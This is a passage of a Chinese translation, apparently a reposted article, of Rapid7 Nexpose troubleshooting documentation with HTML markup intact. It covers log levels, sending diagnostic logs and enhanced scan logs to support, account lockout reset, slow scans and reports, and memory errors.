code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">&lt;property name=&#34;default-level&#34; value=&#34;DEBUG&#34;/&gt;</span></code><code><span class="code-snippet_outer">&lt;property name=&#34;auth-level&#34; value=&#34;DEBUG&#34;/&gt;</span></code><code><span class="code-snippet_outer">&lt;property name=&#34;access-level&#34; value=&#34;DEBUG&#34;/&gt;</span></code><code><span class="code-snippet_outer">&lt;property name=&#34;mem-level&#34; value=&#34;DEBUG&#34;/&gt;</span></code></pre></section><section style="margin-bottom: 15px;"><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;">6.</span></strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">保存并关闭文件。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">发出命令后，大约 30 秒后应用更改。</span><br/></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 15px;">将诊断日志发送到 Rapid7 支持中心</span></strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">安全控制台和扫描引擎生成的诊断日志可通过诊断页面发送到 Rapid7 支持：</span></section><ol class="list-paddingleft-2" style="list-style-type: decimal;"><li><p><span style="font-size: 15px;">在安全控制台中，导航到&#34;Administration&#34;页</span></p></li><li><p><span style="font-size: 15px;">在&#34; Maintenance, Storage and Troubleshooting&#34;部分下，单击&#34; Diagnose&#34;</span></p></li><li><p><span style="font-size: 15px;">检查所需的诊断框</span></p></li><li><section style="margin-bottom: 15px;"><span style="font-size: 15px;">单击Send Logs</span></section></li></ol><section style="margin-bottom: 15px;"><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(233, 95, 38);"><span style="font-size: 15px;">通过代理服务器发送日志</span></strong><br/></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">如果安全控制台无法直接对 Internet 进行访问，您可以使用代理服务器将日志发送到 Rapid7 支持中心。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">要配置用于发送日志的代理设置：</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">1.在安全控制台中，导航到&#34; Administration&#34;页</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">2.在&#34; Global and Console Settings&#34;部分下，单击&#34; Administer&#34;</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">3.单击&#34; Proxy Settings&#34;选项卡</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">4.在相应的字段中输入代理服务器信息</span></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p style="margin-bottom: 5px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">&#34;Name or address&#34;字段是指代理服务器的完全限定的域名或 IP 地址。</span><br/></p></li><li><p style="margin-bottom: 5px;"><span style="font-size: 15px;">&#34;Port&#34;字段是安全控制台在发送日志文件时连接到的代理服务器上的端口号。</span></p></li><li><p style="margin-bottom: 5px;"><span style="font-size: 15px;">安全控制台使用&#34;Domain&#34;、&#34; User ID&#34;和&#34;Password&#34;字段中的信息在代理服务器上进行身份验证。</span></p></li></ul><section style="margin-bottom: 15px;"><span style="font-size: 15px;">5.选中&#34; Send support logs&#34;框。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">6.单击&#34;Save&#34;。</span></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);font-size: 16px;"><strong>使用日志对扫描准确性进行故障排除</strong></span><br/></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">如果您的扫描结果不准确，例如误报、漏报或指纹不正确，您可以使用扫描日志记录功能来收集数据，从而帮助技术支持团队排除故障。增强日志记录是一种功能，用于收集在扫描期间可用于故障排除的信息，如 Windows 注册表项、SSH 命令执行和文件版本。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">以下是增强型日志记录文件中的示例：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">ace:collected_object</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">ace:source-id</span>&gt;</span>0<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">ace:source-id</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">ace:thread-activity</span>&gt;</span>do-unix-create-system-fingerprint@example.com:22<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">ace:thread-activity</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">ace:remote_execution_item</span> <span class="code-snippet__attr">id</span>=<span class="code-snippet__string">&#34;42&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">ace:command</span>&gt;</span>freebsd-version<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">ace:command</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">ace:rc</span> <span class="code-snippet__attr">datatype</span>=<span class="code-snippet__string">&#34;int&#34;</span>&gt;</span>0<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">ace:rc</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">ace:stdin</span> <span class="code-snippet__attr">status</span>=<span class="code-snippet__string">&#34;does not exist&#34;</span>/&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">ace:stdout</span>&gt;</span>10.0-RELEASE</span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">ace:stdout</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">ace:stderr</span> <span class="code-snippet__attr">status</span>=<span class="code-snippet__string">&#34;does not exist&#34;</span>/&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">ace:start_time</span> <span class="code-snippet__attr">datatype</span>=<span class="code-snippet__string">&#34;int&#34;</span>&gt;</span>1443208125966<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">ace:start_time</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">ace:end_time</span> <span class="code-snippet__attr">datatype</span>=<span class="code-snippet__string">&#34;int&#34;</span>&gt;</span>1443208125982<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">ace:end_time</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">ace:remote_execution_item</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">ace:collected_object</span>&gt;</span></span></code></pre></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">使用此功能涉及两个主要步骤：</span></section><ol class="list-paddingleft-2" style="list-style-type: decimal;"><li><p><span style="font-size: 15px;">使用已完全启用增强日志记录的模板对发生不准确结果的资产运行扫描</span></p></li><li><section style="margin-bottom: 15px;"><span style="font-size: 15px;">将包含增强日志记录数据的文件发送给技术支持</span></section></li></ol><section style="margin-bottom: 15px;"><span style="font-size: 14px;"><em><strong>Tips：</strong>建议您针对单个资产或小站点启用增强日志记录。</em></span></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 15px;">在自定义扫描模板中启用增强日志记录</span></strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">默认情况下，从资产配置导出扫描模板上启用了增强型日志记录。但是，您可能希望使用自定义模板进行扫描，该模板经过调整，在特定环境中性能更好。若要在自定义扫描模板上启用增强日志记录，请执行：</span></section><ol class="list-paddingleft-2" style="list-style-type: decimal;"><li><section style="margin-bottom: 5px;"><span style="font-size: 15px;">单击&#34; Administration&#34;图标。</span></section></li><li><section style="margin-bottom: 5px;"><span style="font-size: 15px;">在&#34; Scan Options&#34;区域中，在“Templates”中单击&#34; Create&#34;链接以创建新模板，或单击&#34; Manage&#34;链接以基于现有模板创建自定义模板。</span></section></li><li><section style="margin-bottom: 5px;"><span style="font-size: 15px;">如果单击&#34; Manage&#34;链接，请在&#34; Copy&#34;图标上选择要作为新模板基础的模板。</span></section></li><li><section style="margin-bottom: 5px;"><span style="font-size: 15px;">在新模板的配置中，单击&#34; General&#34;选项卡。</span></section></li><li><section style="margin-bottom: 5px;"><span style="font-size: 15px;">选择&#34; Enhanced logging&#34;复选框以启用&#34; Enhanced logging&#34;。</span></section></li><li><p style="margin-bottom: 15px;"><span style="font-size: 15px;">根据需要配置模板的其余部分并保存它。</span></p></li></ol><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 15px;">使用开启增强日志记录的模板进行经过身份验证的扫描</span></strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">如果要使用模板扫描整个站点，请将其添加到站点配置中，然后扫描网站。请参阅：</span><span style="font-size: 15px;color: rgb(0, 122, 170);text-decoration: underline;"><em><a href="https://docs.rapid7.com/nexpose/selecting-a-scan-template/" target="_blank">https://docs.rapid7.com/nexpose/selecting-a-scan-template/</a></em></span><span style="font-size: 15px;">。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">Tips：增强的日志记录会收集大量数据，这可能会影响磁盘空间，具体取决于您扫描的资产个数。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">如果要使用模板手动扫描特定资产，请将模板添加到扫描对话框中。请参阅:</span><span style="color: rgb(0, 122, 170);"><em><span style="font-size: 15px;text-decoration: underline;"><a href="https://docs.rapid7.com/nexpose/running-a-manual-scan/" target="_blank">https://docs.rapid7.com/nexpose/running-a-manual-scan/</a></span></em></span></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 15px;">检查收集的增强型日志记录数据并将其发送到技术支持中心</span></strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">访问所需扫描的摘要页以下载增强的日志记录扫描数据：</span></section><ol class="list-paddingleft-2" style="list-style-type: decimal;"><li><p><span style="font-size: 15px;">在安全控制台的&#34;Home&#34;选项卡上，浏览到&#34; Sites&#34;表。</span></p></li><li><p><span style="font-size: 15px;">单击&#34; Scan Status&#34;列中的相应链接，打开所需扫描的摘要页。</span></p></li><li><p><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">单击Download &gt; Scan data。</span></p></li><li><p style="margin-bottom: 15px;"><span style="font-size: 15px;">将下载的 zip 文件发送到Rapid7 支持中心</span><em style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 15px;color: rgb(0, 122, 170);text-decoration: underline;"><a href="https://rapid7support.force.com/customers/login" target="_blank">https://rapid7support.force.com/customers/login</a></span></em><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">。</span></p></li></ol><section style="margin-bottom: 15px;"><span style="font-size: 16px;color: rgb(233, 95, 38);"><strong>报告识别错误的操作系统</strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">您可以通过单击&#34;<strong>资产</strong>&#34;或&#34;<strong>节点</strong>&#34;页面上，处于操作系统旁边的不正确标识图标来报告错误识别的操作系统。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 16px;color: rgb(233, 95, 38);"><strong>运行诊断程序</strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">您可以运行多种诊断函数来捕获可能影响系统性能的问题。</span></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 15px;">选择诊断案例</span></strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">要运行内部应用程序问题的诊断：</span></section><ol class="list-paddingleft-2" style="list-style-type: decimal;"><li><p><span style="font-size: 15px;">单击&#34;Administration&#34;选项卡。</span></p></li><li><p><span style="font-size: 15px;">安全控制台显示管理页。</span></p></li><li><p><span style="font-size: 15px;">单击&#34;Troubleshooting&#34;旁边的&#34;Diagnose&#34;。安全控制台将会显示疑难解答页面。</span></p></li><li><section style="margin-bottom: 15px;"><span style="font-size: 15px;">单击要执行的每个诊断例程的复选框。</span></section></li></ol><section style="margin-bottom: 15px;"><span style="font-size: 15px;">执行请求的诊断后，安全控制台将显示结果表。每个项目都包含一个红色或绿色图标，指示各个系统组件是否存在问题。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 16px;color: rgb(233, 95, 38);"><strong>解决启动过程中的失败问题</strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">如果在启动过程中发生子系统严重错误，后续应用程序将尝试排队维护以响应该故障。之后，它会在维护模式下重新启动。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">如果您是管理员，可以登录并检查失败原因。如果需要，您可以采取某些步骤来解决此问题。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">有两种类型的恢复任务可用：</span></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p><span style="font-size: 15px;">当应用程序无法连接到配置的数据库时，将触发DBConfig任务。它允许您测试数据库配置设置，并在成功时保存它</span></p></li><li><section style="margin-bottom: 15px;"><span style="font-size: 15px;">恢复任务是在启动过程中发生未知故障时触发的常规恢复任务。这种情况非常少见，仅在找不到一个或多个配置文件或无效时才发生。此任务允许您查看失败的原因，并将支持日志上载到安全日志服务器，以便用于故障排除</span></section></li></ul><section style="margin-bottom: 15px;"><span style="font-size: 15px;">如果维护 Web 服务器没有默认端口 3780 可用，则应用程序可能无法在维护模式下重新启动。如果出现极其严重的故障。如果已有实例正在运行，或者一个或多个密钥配置文件无效或丢失，则可能会发生这种情况。这些文件具有扩展名，如.nsc、.xml和.userdb。</span></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 16px;">解决刷新会话失败的问题</span></strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">当 Web 接口会话在空闲会话中时，安全控制台将显示登录窗口，以便用户可以刷新会话。如果 Web 如果浏览器和安全控制台 Web 服务器之间的通信发生问题阻止会话刷新，那么用户将看到页面返回错误消息。如果用户这时有没有保存的工作，那他/她不应离开页面或关闭浏览器，因为通讯问题解决后，工作内容不会丢失。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">由于以下原因之一，可能会发生通信故障。如果其中任何一个是原因，请采取相应的操作：</span></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p><span style="font-size: 15px;">安全控制台处于脱机状态。重新启动安全控制台</span></p></li><li><p><span style="font-size: 15px;">安全控制台已与 Internet 断开连接。将安全控制台重新连接到互联网</span></p></li><li><p><span style="font-size: 15px;">用户的浏览器已与 Internet 断开连接。将浏览器重新连接到互联网</span></p></li><li><section style="margin-bottom: 15px;"><span style="font-size: 15px;">安全控制台地址已更改。清除托管浏览器的计算机上的地址解析协议 （ARP） 表</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></section></li></ul><section style="margin-bottom: 15px;"><span style="font-size: 15px;">安全控制台对用户刷新会话请求的响应出现极端延迟也可能导致失败消息出现。</span></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 16px;">重置帐户锁定</span></strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">当用户尝试使用不正确的密码登录太多次时，应用程序会锁定该用户，直到该用户重置锁定。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">默认锁定阈值为 4 次尝试。全局管理员可以在安全控制台配置 - Web 服务器页面上更改此参数。请参阅更改安全控制台 Web 服务器默认设置：</span></section><section style="margin-bottom: 15px;"><span style="text-decoration: underline;font-size: 14px;color: rgb(0, 122, 170);"><em><a href="https://docs.rapid7.com/nexpose/managing-the-security-console/#changing-the-security-console-web-server-default-settings" target="_blank">https://docs.rapid7.com/nexpose/managing-the-security-console/#changing-the-security-console-web-server-default-settings</a></em></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">您可以使用以下三种方法之一重置锁定：</span></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p><span style="font-size: 15px;">如果您是全局管理员请转到&#34;用户&#34;页面，然后单击锁定用户名称旁边的挂锁图标。</span></p></li><li><p><span style="font-size: 15px;">运行控制台命令：unlock account</span></p></li><li><section style="margin-bottom: 15px;"><strong><span style="font-size: 15px;">重新启动安全控制台</span></strong><span style="font-size: 15px;">；如果锁定的用户是组织中唯一的全局管理员，这是唯一可以让用户解锁的办法。</span></section></li></ul><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 16px;">扫描任务持续时间太长或扫描任务没响应</span></strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">有时，扫描过程需要非常长的时间，或者似乎已经完全停止。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">无法准确预测扫描应花多长时间。扫描时间因目标资产数量和扫描模板的彻底性或复杂性等因素而异。但是，您可以通过将扫描时间与以前的扫描时间进行比较来观察扫描是否需要非常长时间才能完成。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">通常，如果扫描在单个主机上运行超过 8 小时，或在给定站点上运行超过 48 小时，则建议检查某些问题。</span></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 16px;">处理延迟扫描操作的提示</span></strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">如果尝试启动、暂停、恢复或停止扫描，并且长时间出现一条操作正在进行中的消息，这可能是由于安全控制台与扫描引擎的通信中与存在网络相关的延迟。在带宽低或延迟高的网络中，延迟扫描操作可能会导致安全控制台/扫描引擎通信频繁出现反应过慢的现象，这可能会导致安全控制台接收扫描状态信息出现延迟。若要减少响应时间，可以增加扫描引擎响应时间设置。请参阅使用分布式扫描引擎配置安全控制台连接：</span></section><section style="margin-bottom: 15px;"><span style="font-size: 14px;color: rgb(0, 122, 170);"><em><span style="font-size: 14px;text-decoration: underline;"><a href="https://docs.rapid7.com/nexpose/managing-the-security-console/#configuring-security-console-connections-with-distributed-scan-engines" target="_blank">https://docs.rapid7.com/nexpose/managing-the-security-console/#configuring-security-console-connections-with-distributed-scan-engines</a></span></em></span></section><section style="margin-bottom: 15px;"><span style="font-size: 16px;color: rgb(233, 95, 38);"><strong>扫描内存问题</strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">由于内存问题，扫描速度可能很慢，或者可能失败。请参阅内存不足问题：</span></section><section style="margin-bottom: 15px;"><span style="font-size: 14px;color: rgb(0, 122, 170);"><em><span style="font-size: 14px;text-decoration: underline;"><a href="https://docs.rapid7.com/nexpose/troubleshooting/#out-of-memory-issues" target="_blank">https://docs.rapid7.com/nexpose/troubleshooting/#out-of-memory-issues</a></span></em></span></section><section style="margin-bottom: 15px;"><span style="font-size: 16px;color: rgb(233, 95, 38);"><strong>扫描复杂性</strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">对于它发现的每个目标主机，应用程序在运行任何漏洞检查之前会扫描其端口。目标端口的范围是可以在扫描模板配置的。扫描时间随扫描的端口数成比例增加。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">特别是，UDP 端口的扫描速度可能很慢，因为默认情况下，应用程序每天发送的 UDP 数据包不超过两个，以避免触发大多数网络设备内置于 TCP/IP 堆栈中的 ICMP 速率限制机制。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">若要提高扫描速度，请考虑将扫描配置为仅检查已知端口或已知托管相关服务的特定端口。请参阅使用扫描模板和调优扫描性能。</span></section><section style="margin-bottom: 15px;"><em><span style="font-size: 15px;color: rgb(0, 122, 170);text-decoration: underline;"><a href="https://docs.rapid7.com/nexpose/working-with-scan-templates-and-tuning-scan-performance" target="_blank">https://docs.rapid7.com/nexpose/working-with-scan-templates-and-tuning-scan-performance</a></span></em></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 16px;">扫描引擎脱机</span></strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">如果扫描引擎在扫描过程中掉线，扫描将显示为挂起。当扫描引擎在扫描过程中关闭时，数据库将需要从不完整的扫描中删除数据。此过程会留下类似于以下扫描日志的消息：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">DBConsistenc3/<span class="code-snippet__number">10</span>/<span class="code-snippet__number">09</span> <span class="code-snippet__number">12</span>:<span class="code-snippet__number">05</span> PM: Inconsistency discovered <span class="code-snippet__keyword">for</span> dispatched scan ID <span class="code-snippet__number">410</span>, removing partially imported scan results...</span></code></pre></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">如果扫描引擎脱机，请重新启动它。然后，转到&#34;Scan Engine Configuration panel&#34;面板以确认扫描引擎处于活动状态。有关详细信息，请参阅分布式扫描引擎页面。</span></section><section style="margin-bottom: 15px;"><em><span style="font-size: 15px;color: rgb(0, 122, 170);text-decoration: underline;"><a href="https://docs.rapid7.com/nexpose/configuring-distributed-scan-engines/" target="_blank">https://docs.rapid7.com/nexpose/configuring-distributed-scan-engines/</a></span></em></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 16px;">查看扫描日志</span></strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">您可以下载已完成扫描的活动日志，或将扫描数据包直接发送给支持人员进行故障排除。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">要访问这些日志选项：</span></section><ol class="list-paddingleft-2" style="list-style-type: decimal;"><li><p><span style="font-size: 15px;">在安全控制台的主页上，浏览到&#34;Sites&#34;表。单击要检查的站点的名称以打开它。</span></p></li><li><p><span style="font-size: 15px;">在&#34;Site Scan Summary&#34;部分中，单击&#34;View Scan History&#34;。</span></p></li><li><section style="margin-bottom: 15px;"><span style="font-size: 15px;">浏览到&#34;Past Scans&#34;表：</span></section></li></ol><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p><span style="font-size: 15px;">要下载您过去选择的扫描日志，请单击&#34;<strong>Download Log</strong>&#34;列中的相应图标。</span></p></li><li><section style="margin-bottom: 15px;"><span style="font-size: 15px;">若要将扫描数据包发送给支持人员以进行故障排除，请单击&#34;Send log&#34;列中的图标。</span></section></li></ul><section style="margin-bottom: 15px;"><span style="font-size: 15px;">或者，还可以从过去扫描详细信息视图的&#34;Scan Progress&#34;部分获得扫描日志和数据选项。单击&#34;Completed&#34;列中的日期和时间链接，访问此页面可以查看特定的过去扫描。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">Tips：Scan data也包括扫描日志，但要大得多，并且包含仅支持团队才能用于故障排除的信息。</span></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 16px;">用户停止扫描</span></strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">如果其他用户停止扫描，则扫描将显示为已挂起。若要确定是否为这种情况，请检查日志中是否显示类似于以下内容的消息：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">Nexpose3/<span class="code-snippet__number">16</span>/<span class="code-snippet__number">09</span> <span class="code-snippet__number">7</span>:<span class="code-snippet__number">22</span> PM: Scan [] stopped: <span class="code-snippet__string">&#34;maylor&#34;</span> &lt;&gt;</span></code></pre></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">详情请参阅查看扫描日志：</span><br/></section><section style="margin-bottom: 15px;"><em><span style="font-size: 15px;color: rgb(0, 122, 170);text-decoration: underline;"><a href="https://docs.rapid7.com/nexpose/troubleshooting/#viewing-the-scan-log" target="_blank">https://docs.rapid7.com/nexpose/troubleshooting/#viewing-the-scan-log</a></span></em></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 16px;">长时间未生成报告或生成报告未响应</span></strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">有时，报告生成需要非常长时间，或者似乎已经完全停止。您可以在安全控制台日志中找到报告错误。</span></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 16px;">报告内存问题</span></strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">由于内存问题，报表生成速度可能很慢，或者可能失败。请参阅内存不足问题：</span></section><section style="margin-bottom: 15px;"><em><span style="font-size: 15px;color: rgb(0, 122, 170);text-decoration: underline;"><a href="https://docs.rapid7.com/nexpose/troubleshooting/#out-of-memory-issues" target="_blank">https://docs.rapid7.com/nexpose/troubleshooting/#out-of-memory-issues</a></span></em></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 16px;">陈旧的扫描数据</span></strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">数据库速度会影响报告速度。随着时间的推移，来自历史扫描的数据将累积到数据库中。这会导致数据库变慢。</span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">如果发现生成报告变慢，请查看安全控制台日志中报告持续时间与其他报告任务不一致的报告日志，如以下示例所示：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">nsc.log.<span class="code-snippet__number">0</span><span class="code-snippet__symbol">:Reportmanage1/</span><span class="code-snippet__number">5</span>/09 <span class="code-snippet__number">3</span><span class="code-snippet__symbol">:</span><span class="code-snippet__number">00</span> <span class="code-snippet__symbol">AM:</span> Report task serviceVulnStatistics finished <span class="code-snippet__keyword">in</span> <span class="code-snippet__number">2</span> hours <span class="code-snippet__number">1</span> minute <span class="code-snippet__number">23</span> seconds</span></code></pre></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">通常可以通过清理数据库来提高报表生成速度。定期数据库维护删除剩多余的扫描数据和主机信息。请参阅查看扫描日志和数据库备份/恢复和数据保留：</span></section><section style="margin-bottom: 15px;"><em><span style="font-size: 15px;color: rgb(0, 122, 170);text-decoration: underline;"><a href="https://docs.rapid7.com/nexpose/database-backuprestore-and-data-retention/" target="_blank">https://docs.rapid7.com/nexpose/database-backuprestore-and-data-retention/</a></span></em></section><section style="margin-bottom: 15px;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 16px;">内存不足问题</span></strong></span></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;">扫描和报告是内存密集型任务，因此与这些活动相关的错误通常可能是内存问题。您可以通过更改设置来控制内存使用。某些内存问题与系统资源控制方式有关。</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">java. lang. outofMemoryerror</span></code></pre></section><section style="margin-bottom: 15px;"><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">如果应用程序已崩溃，您可以通过检查日志文件中有关以下消息来验证崩溃是由于内存不足造成的：</span><span style="font-size: 